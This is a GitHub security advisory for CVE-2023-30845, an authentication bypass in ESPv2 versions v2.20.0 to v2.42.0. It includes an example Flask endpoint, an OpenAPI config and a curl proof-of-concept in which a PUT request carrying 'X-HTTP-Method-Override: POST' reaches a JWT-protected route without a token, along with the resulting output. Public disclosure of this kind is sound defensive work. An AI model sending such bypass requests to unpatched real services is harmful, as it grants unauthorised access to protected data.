Skip to content

JWT authentication bypass via `X-HTTP-Method-Override` header

High
nareddyt published GHSA-6qmp-9p95-fc5f Apr 26, 2023

Package

No package listed

Affected versions

v2.20.0 to v2.42.0

Patched versions

v2.43.0+

Description

Summary

ESPv2 contains an authentication bypass vulnerability. API clients can craft a malicious X-HTTP-Method-Override header value to bypass JWT authentication in specific cases.

Background

For reference, background information on X-HTTP-Method-Override and JWT Authentication is copied below.

X-HTTP-Method-Override

In certain situations (for example, when the service or its consumers are behind an overzealous corporate firewall, or if the main consumer is a web page), only the GET and POST HTTP methods might be available. In such a case, it is possible to emulate the missing verbs by passing the X-HTTP-Method-Override header in requests.

For example, an API client can send a PUT request over POST via the following request:

curl --request POST \
     --header "X-HTTP-Method-Override: PUT" \
     --header "Content-Type: application/json" \
     --data '{"username":"xyz"}' \
     https://my-endpoint.com/api

JWT Authentication

ESPv2 uses JWT authentication if you followed any of the OpenAPI or gRPC tutorials below:

Impact

ESPv2 allows malicious requests to bypass authentication if both the conditions are true:

  1. The requested HTTP method is not in the API service definition (OpenAPI spec or gRPC google.api.http proto annotations).
  2. The specified X-HTTP-Method-Override is a valid HTTP method in the API service definition.

ESPv2 will forward the request to your backend without checking the JWT. Attackers can craft requests with a malicious X-HTTP-Method-Override value that allows them to bypass specifying JWTs.

Non-Impact

Restricting API access with API keys works as intended and is not affected by this vulnerability.

Example

Consider an example in which a simple REST API service accepts POST requests at the path /restricted.

@app.route("/restricted", methods=['POST'])
def restricted():
    message = "Accessing restricted message."
    payload = request.get_json().get('payload', '')
    return jsonify({'method':'POST', 'message': message, 'payload': payload})

The service is put behind ESPv2, and ESPv2 is configured to accept POST requests only from clients that provide a valid JWT token. Following Using Google ID tokens to authenticate users:

# config.yaml
swagger: "2.0"
info:
  title: "restrictedAPI"
  version: "1.0.0"
paths:
  "/restricted":
    post:
      summary: "Restricted path POST"
      operationId: "restrictedPost"
      security:
      - google_id_token: []
securityDefinitions:
  google_id_token:
    authorizationUrl: ""
    flow: "implicit"
    type: "oauth2"
    x-google-issuer: "https://accounts.google.com"
    x-google-jwks_uri: "https://www.googleapis.com/oauth2/v3/certs"
    x-google-audiences: "XXXXXXXXXXX.apps.googleusercontent.com"

If a malicious API client makes a PUT request and passes the POST method in the X-HTTP-Method-Override header as follows:

curl --request PUT  \
     --header "X-HTTP-Method-Override: POST" \
     --header "Content-Type: application/json" \
     --data '{"payload":"compromised"}' \
     https://url-to-espv2.com

The malicious client successfully bypasses Using Google ID tokens to authenticate users without specifying a JWT:

{"message":"Accessing restricted method.","method":"POST","payload":"compromised"}

Remediation and Mitigation

Upgrade deployments to release v2.43.0 or higher. This release ensures that JWT authentication occurs, even when the caller specifies x-http-method-override.

x-http-method-override is still supported by v2.43.0+. API clients can continue sending this header to ESPv2.

Timeline

  • Date disclosed to ESPv2 team: 2023-03-14
  • Date fixed in ESPv2: 2023-03-28

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

CVE ID

CVE-2023-30845

Weaknesses

No CWEs

Credits